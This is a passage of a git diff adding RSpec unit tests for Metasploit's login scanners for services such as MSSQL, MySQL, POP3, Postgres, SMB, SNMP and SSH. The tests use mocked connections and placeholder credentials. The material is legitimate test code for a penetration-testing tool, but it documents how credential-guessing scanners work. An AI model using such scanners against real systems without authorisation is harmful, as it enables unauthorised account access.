req.opts['vars_get']['app'] && + req.opts['vars_get']['app'] == 'core' && + req.opts['vars_get']['module'] && + req.opts['vars_get']['module'] == 'global' && + req.opts['vars_get']['section'] && + req.opts['vars_get']['section'] == 'login' && + req.opts['vars_get']['do'] && + req.opts['vars_get']['do'] == 'process' && + req.opts['vars_post'] && + req.opts['vars_post']['auth_key'] && + req.opts['vars_post']['auth_key'] == server_nonce && + req.opts['vars_post']['ips_username'] && + req.opts['vars_post']['ips_username'] == username && + req.opts['vars_post']['ips_password'] && + req.opts['vars_post']['ips_password'] == password + res = Rex::Proto::Http::Response.new(200) + res.headers['Set-Cookie'] = 'ipsconnect=ipsconnect_value;Path=/;,coppa=coppa_value;Path=/;' + elsif req.opts['uri'] && req.opts['uri'].include?('index.php') && req.opts['method'] == 'POST' + res = Rex::Proto::Http::Response.new(404) + else + res = Rex::Proto::Http::Response.new(200) + res.body = "name='auth_key' value='#{server_nonce}'" + end + + res + end + end + + context "when valid login" do + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL' do + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + end + + context "when invalid login" do + it 'returns status Metasploit::Model::Login::Status::INCORRECT' do + expect(subject.attempt_login(invalid_creds).status).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + end + end + + +end diff --git a/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb b/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb new file mode 100644 index 0000000000..67053e63dd --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb @@ -0,0 +1,10 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/jenkins' + +describe Metasploit::Framework::LoginScanner::Jenkins do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + +end diff --git a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb new file mode 100644 index 0000000000..4acf939fce --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb @@ -0,0 +1,94 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/mssql' + +describe Metasploit::Framework::LoginScanner::MSSQL do + let(:public) { 'root' } + let(:private) { 'toor' } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::NTLM' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + it { should respond_to :windows_authentication } + + context 'validations' do + context '#windows_authentication' do + it 'is not valid for the string true' do + login_scanner.windows_authentication = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:windows_authentication]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.windows_authentication = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:windows_authentication]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.windows_authentication = true + expect(login_scanner.errors[:windows_authentication]).to be_empty + end + + it 'is valid for false class' do + login_scanner.windows_authentication = false + expect(login_scanner.errors[:windows_authentication]).to be_empty + end + end + end + + context '#attempt_login' do + context 'when the is a connection error' do + it 'returns a result with the connection_error status' do + my_scanner = login_scanner + my_scanner.should_receive(:mssql_login).and_raise ::Rex::ConnectionError + expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + end + + context 'when the login fails' do + it 'returns a result object with a status of Metasploit::Model::Login::Status::INCORRECT' do + my_scanner = login_scanner + my_scanner.should_receive(:mssql_login).and_return false + expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + end + + context 'when the login succeeds' do + it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do + my_scanner = login_scanner + my_scanner.should_receive(:mssql_login).and_return true + expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb b/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb new file mode 100644 index 0000000000..9ad1c2ffdd --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb @@ -0,0 +1,10 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/mybook_live' + +describe Metasploit::Framework::LoginScanner::MyBookLive do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + +end diff --git a/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb new file mode 100644 index 0000000000..d9ca3d1ce4 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb @@ -0,0 +1,108 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/mysql' + +describe Metasploit::Framework::LoginScanner::MySQL do + let(:public) { 'root' } + let(:private) { 'toor' } + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + context '#attempt_login' do + + context 'when the attempt is successful' do + it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do + ::RbMysql.should_receive(:connect).and_return "fake mysql handle" + expect(login_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + end + end + + context 'when the attempt is unsuccessful' do + context 'due to connection refused' do + it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + ::RbMysql.should_receive(:connect).and_raise Errno::ECONNREFUSED + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise Errno::ECONNREFUSED + expect(login_scanner.attempt_login(pub_pub).proof).to be_a(Errno::ECONNREFUSED) + end + end + + context 'due to connection timeout' do + it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::ClientError + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::ClientError + expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::ClientError) + end + end + + context 'due to operation timeout' do + it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + ::RbMysql.should_receive(:connect).and_raise Errno::ETIMEDOUT + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise Errno::ETIMEDOUT + expect(login_scanner.attempt_login(pub_pub).proof).to be_a(Errno::ETIMEDOUT) + end + end + + context 'due to not being allowed to connect from this host' do + it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" + expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::HostNotPrivileged) + end + end + + context 'due to access denied' do + it 'returns a result with a status of Metasploit::Model::Login::Status::INCORRECT' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" + expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::AccessDeniedError) + end + end + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb new file mode 100644 index 0000000000..ce686c4d07 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -0,0 +1,83 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/pop3' + +describe Metasploit::Framework::LoginScanner::POP3 do + subject(:scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + context "#attempt_login" do + + let(:pub_blank) do + Metasploit::Framework::Credential.new( + paired: true, + public: "public", + private: '' + ) + end + context "Raised Exceptions" do + it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Timeout::Error) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(EOFError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "Open Connection" do + let(:sock) {double('socket')} + + before(:each) do + sock.stub(:shutdown) + sock.stub(:close) + sock.stub(:closed?) + expect(scanner).to receive(:connect) + scanner.stub(:sock).and_return(sock) + scanner.should_receive(:select).with([sock],nil,nil,0.4) + end + + it "Server returns +OK" do + expect(sock).to receive(:get_once).exactly(3).times.and_return("+OK") + expect(sock).to receive(:put).with("USER public\r\n").once.ordered + expect(sock).to receive(:put).with("PASS \r\n").once.ordered + + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + + end + + it "Server Returns Something Else" do + sock.stub(:get_once).and_return("+ERROR") + + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT) + expect(result.proof).to eq("+ERROR") + + end + end + + end +end diff --git a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb new file mode 100644 index 0000000000..074f098fe3 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb @@ -0,0 +1,75 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/postgres' + +describe Metasploit::Framework::LoginScanner::Postgres do + let(:public) { 'root' } + let(:private) { 'toor' } + let(:realm) { 'template1' } + + let(:full_cred) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private, + realm: realm + ) + } + + let(:cred_no_realm) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + + context '#attempt_login' do + context 'when the login is successful' do + it 'returns a result object with a status of success' do + fake_conn = "fake_connection" + Msf::Db::PostgresPR::Connection.should_receive(:new).and_return fake_conn + fake_conn.should_receive(:close) + expect(login_scanner.attempt_login(full_cred).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + end + end + + context 'when there is no realm on the credential' do + it 'uses template1 as the default realm' do + Msf::Db::PostgresPR::Connection.should_receive(:new).with('template1', 'root', 'toor', 'tcp://:') + login_scanner.attempt_login(cred_no_realm) + end + end + + context 'when the realm is invalid but the rest of the credential is not' do + it 'includes the details in the result proof' do + Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "blah\tC3D000" + result = login_scanner.attempt_login(cred_no_realm) + expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT + expect(result.proof).to eq "C3D000, Creds were good but database was bad" + end + end + + context 'when the username or password is invalid' do + it 'includes a message in proof, indicating why it failed' do + Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "blah\tC28000" + result = login_scanner.attempt_login(cred_no_realm) + expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT + expect(result.proof).to eq "Invalid username or password" + end + end + + context 'when any other type of error occurs' do + it 'returns a failure with the error message in the proof' do + Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "unknown error" + result = login_scanner.attempt_login(cred_no_realm) + expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT + expect(result.proof).to eq "unknown error" + end + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/result_spec.rb b/spec/lib/metasploit/framework/login_scanner/result_spec.rb new file mode 100644 index 0000000000..62103d47e4 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/result_spec.rb @@ -0,0 +1,45 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner' + +describe Metasploit::Framework::LoginScanner::Result do + + let(:private) { 'toor' } + let(:proof) { 'foobar' } + let(:public) { 'root' } + let(:realm) { nil } + let(:status) { Metasploit::Model::Login::Status::SUCCESSFUL } + let(:cred) { + Metasploit::Framework::Credential.new(public: public, private: private, realm: realm, paired: true) + } + + subject(:login_result) { + described_class.new( + credential: cred, + proof: proof, + status: status + ) + } + + it { should respond_to :access_level } + it { should respond_to :credential } + it { should respond_to :proof } + it { should respond_to :status } + it { should respond_to :success? } + + context '#success?' do + context 'when the status code is success' do + it 'returns true' do + expect(login_result.success?).to be_truthy + end + end + + context 'when the status code is anything else' do + let(:status) { :connection_error } + it 'returns false' do + expect(login_result.success?).to be_falsey + end + end + end + + +end diff --git a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb new file mode 100644 index 0000000000..2986b3ef99 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb @@ -0,0 +1,158 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/smb' + +describe Metasploit::Framework::LoginScanner::SMB do + let(:public) { 'root' } + let(:private) { 'toor' } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::NTLM' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + it { should respond_to :smb_chunk_size } + it { should respond_to :smb_name } + it { should respond_to :smb_native_lm } + it { should respond_to :smb_native_os } + it { should respond_to :smb_obscure_trans_pipe_level } + it { should respond_to :smb_pad_data_level } + it { should respond_to :smb_pad_file_level } + it { should respond_to :smb_pipe_evasion } + + context 'validations' do + context '#smb_verify_signature' do + it 'is not valid for the string true' do + login_scanner.smb_verify_signature = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:smb_verify_signature]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.smb_verify_signature = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:smb_verify_signature]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.smb_verify_signature = true + expect(login_scanner.errors[:smb_verify_signature]).to be_empty + end + + it 'is valid for false class' do + login_scanner.smb_verify_signature = false + expect(login_scanner.errors[:smb_verify_signature]).to be_empty + end + end + end + + context '#attempt_login' do + before(:each) do + login_scanner.stub_chain(:simple, :client, :auth_user, :nil?).and_return false + end + context 'when there is a connection error' do + it 'returns a result with the connection_error status' do + login_scanner.stub_chain(:simple, :login).and_raise ::Rex::ConnectionError + expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + end + + context 'when the credentials are correct, but we cannot login' do + [ + 0xC000006E, # => "STATUS_ACCOUNT_RESTRICTION", + 0xC000006F, # => "STATUS_INVALID_LOGON_HOURS", + 0xC0000070, # => "STATUS_INVALID_WORKSTATION", + 0xC0000071, # => "STATUS_PASSWORD_EXPIRED", + 0xC0000072, # => "STATUS_ACCOUNT_DISABLED", + 0xC000015B, # => "STATUS_LOGON_TYPE_NOT_GRANTED", + 0xC0000193, # => "STATUS_ACCOUNT_EXPIRED", + 0xC0000224, # => "STATUS_PASSWORD_MUST_CHANGE", + ].each do |code| + it "returns a DENIED_ACCESS status" do + exception = Rex::Proto::SMB::Exceptions::LoginError.new + exception.error_code = code + + login_scanner.stub_chain(:simple, :login).and_raise exception + login_scanner.stub_chain(:simple, :connect) + login_scanner.stub_chain(:simple, :disconnect) + login_scanner.stub_chain(:simple, :client, :auth_user, :nil?).and_return false + + expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::DENIED_ACCESS + end + end + + end + + context 'when the login fails' do + it 'returns a result object with a status of Metasploit::Model::Login::Status::INCORRECT' do + login_scanner.stub_chain(:simple, :login).and_return false + login_scanner.stub_chain(:simple, :connect).and_raise Rex::Proto::SMB::Exceptions::Error + expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + end + + context 'when the login succeeds' do + context 'and the user is local admin' do + before(:each) do + login_scanner.simple = double + login_scanner.simple.stub(:connect).with(/.*admin\$/i) + login_scanner.simple.stub(:connect).with(/.*ipc\$/i) + login_scanner.simple.stub(:disconnect) + end + + it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do + login_scanner.stub_chain(:simple, :login).and_return true + result = login_scanner.attempt_login(pub_blank) + expect(result.status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + expect(result.access_level).to eq described_class::AccessLevels::ADMINISTRATOR + end + end + + context 'and the user is NOT local admin' do + before(:each) do + login_scanner.simple = double + login_scanner.simple.stub(:connect).with(/.*admin\$/i).and_raise( + # STATUS_ACCESS_DENIED + Rex::Proto::SMB::Exceptions::ErrorCode.new.tap{|e|e.error_code = 0xC0000022} + ) + login_scanner.simple.stub(:connect).with(/.*ipc\$/i) + end + + it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do + login_scanner.stub_chain(:simple, :login).and_return true + result = login_scanner.attempt_login(pub_blank) + expect(result.status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + expect(result.access_level).to_not eq described_class::AccessLevels::ADMINISTRATOR + end + end + end + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/smh_spec.rb b/spec/lib/metasploit/framework/login_scanner/smh_spec.rb new file mode 100644 index 0000000000..d3a5bd861c --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/smh_spec.rb @@ -0,0 +1,90 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/smh' + +describe Metasploit::Framework::LoginScanner::Smh do + + subject(:smh_cli) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + context "#attempt_login" do + + let(:username) { 'admin' } + let(:password) { 'password' } + + let(:cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:invalid_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'username', + private: 'novalid' + ) + end + + context "when Rex::Proto::Http::Client#connect raises Rex::ConnectionError" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(smh_cli.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when Rex::Proto::Http::Client#connect raises Timeout::Error" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(smh_cli.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when Rex::Proto::Http::Client#connect raises EOFError" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(smh_cli.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when valid HP System Management application" do + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + + if req.opts['uri'] && req.opts['uri'].include?('/proxy/ssllogin') && + req.opts['vars_post'] && + req.opts['vars_post']['user'] && + req.opts['vars_post']['user'] == username && + req.opts['vars_post']['password'] && + req.opts['vars_post']['password'] == password + res = Rex::Proto::Http::Response.new(200) + res.headers['CpqElm-Login'] = 'success' + res + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + context "when valid login" do + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL' do + expect(smh_cli.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + end + + context "when invalid login" do + it 'returns status Metasploit::Model::Login::Status::INCORRECT' do + expect(smh_cli.attempt_login(invalid_cred).status).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb new file mode 100644 index 0000000000..0dc0c8851c --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb @@ -0,0 +1,56 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/snmp' + +describe Metasploit::Framework::LoginScanner::SNMP do + let(:public) { 'public' } + let(:private) { nil } + + let(:pub_comm) { + Metasploit::Framework::Credential.new( + paired: false, + public: public, + private: private + ) + } + + let(:invalid_detail) { + Metasploit::Framework::Credential.new( + paired: true, + public: nil, + private: nil + ) + } + + let(:detail_group) { + [ pub_comm ] + } + + subject(:snmp_scanner) { + described_class.new + } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + + + context '#attempt_login' do + before(:each) do + snmp_scanner.host = '127.0.0.1' + snmp_scanner.port = 161 + snmp_scanner.connection_timeout = 1 + snmp_scanner.stop_on_success = true + snmp_scanner.cred_details = detail_group + end + + it 'creates a Timeout based on the connection_timeout' do + ::Timeout.should_receive(:timeout).at_least(:once).with(snmp_scanner.connection_timeout) + snmp_scanner.attempt_login(pub_comm) + end + + it 'creates a SNMP Manager for each supported version of SNMP' do + ::SNMP::Manager.should_receive(:new).twice.and_call_original + snmp_scanner.attempt_login(pub_comm) + end + + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb new file mode 100644 index 0000000000..e36d723c72 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb @@ -0,0 +1,221 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/ssh' + +describe Metasploit::Framework::LoginScanner::SSH do + let(:public) { 'root' } + let(:private) { 'toor' } + let(:key) { OpenSSL::PKey::RSA.generate(2048).to_s } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + let(:pub_key) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: key, + private_type: :ssh_key + ) + } + + let(:invalid_detail) { + Metasploit::Framework::Credential.new( + paired: true, + public: nil, + private: nil + ) + } + + let(:detail_group) { + [ pub_blank, pub_pub, pub_pri] + } + + subject(:ssh_scanner) { + described_class.new + } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + + + it { should respond_to :verbosity } + + context 'validations' do + + context 'verbosity' do + + it 'is valid with :debug' do + ssh_scanner.verbosity = :debug + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is valid with :info' do + ssh_scanner.verbosity = :info + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is valid with :warn' do + ssh_scanner.verbosity = :warn + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is valid with :error' do + ssh_scanner.verbosity = :error + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is valid with :fatal' do + ssh_scanner.verbosity = :fatal + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is invalid with a random symbol' do + ssh_scanner.verbosity = :foobar + expect(ssh_scanner).to_not be_valid + expect(ssh_scanner.errors[:verbosity]).to include 'is not included in the list' + end + + it 'is invalid with a string' do + ssh_scanner.verbosity = 'debug' + expect(ssh_scanner).to_not be_valid + expect(ssh_scanner.errors[:verbosity]).to include 'is not included in the list' + end + end + + + end + + context '#attempt_login' do + before(:each) do + ssh_scanner.host = '127.0.0.1' + ssh_scanner.port = 22 + ssh_scanner.connection_timeout = 30 + ssh_scanner.verbosity = :fatal + ssh_scanner.stop_on_success = true + ssh_scanner.cred_details = detail_group + end + + it 'creates a Timeout based on the connection_timeout' do + ::Timeout.should_receive(:timeout).with(ssh_scanner.connection_timeout) + ssh_scanner.attempt_login(pub_pri) + end + + context 'with a password' do + it 'calls Net::SSH with the correct arguments' do + opt_hash = { + :auth_methods => ['password','keyboard-interactive'], + :port => ssh_scanner.port, + :disable_agent => true, + :password => private, + :config => false, + :verbose => ssh_scanner.verbosity, + :proxies => nil + } + Net::SSH.should_receive(:start).with( + ssh_scanner.host, + public, + opt_hash + ) + ssh_scanner.attempt_login(pub_pri) + end + end + + context 'with a key' do + it 'calls Net::SSH with the correct arguments' do + opt_hash = { + :auth_methods => ['publickey'], + :port => ssh_scanner.port, + :disable_agent => true, + :key_data => key, + :config => false, + :verbose => ssh_scanner.verbosity, + :proxies => nil + } + Net::SSH.should_receive(:start).with( + ssh_scanner.host, + public, + hash_including(opt_hash) + ) + ssh_scanner.attempt_login(pub_key) + end + end + + context 'when it fails' do + + it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::ConnectionError' do + Net::SSH.should_receive(:start) { raise Rex::ConnectionError } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::AddressInUse' do + Net::SSH.should_receive(:start) { raise Rex::AddressInUse } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a Net::SSH::Disconnect' do + Net::SSH.should_receive(:start) { raise Net::SSH::Disconnect } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a ::EOFError' do + Net::SSH.should_receive(:start) { raise ::EOFError } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a ::Timeout::Error' do + Net::SSH.should_receive(:start) { raise ::Timeout::Error } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns [:fail,nil] for a Net::SSH::Exception' do + Net::SSH.should_receive(:start) { raise Net::SSH::Exception } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + + it 'returns [:fail,nil] if no socket returned' do + Net::SSH.should_receive(:start).and_return nil + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + end + + context 'when it succeeds' do + + it 'gathers proof of the connections' do + Net::SSH.should_receive(:start) {"fake_socket"} + my_scanner = ssh_scanner + 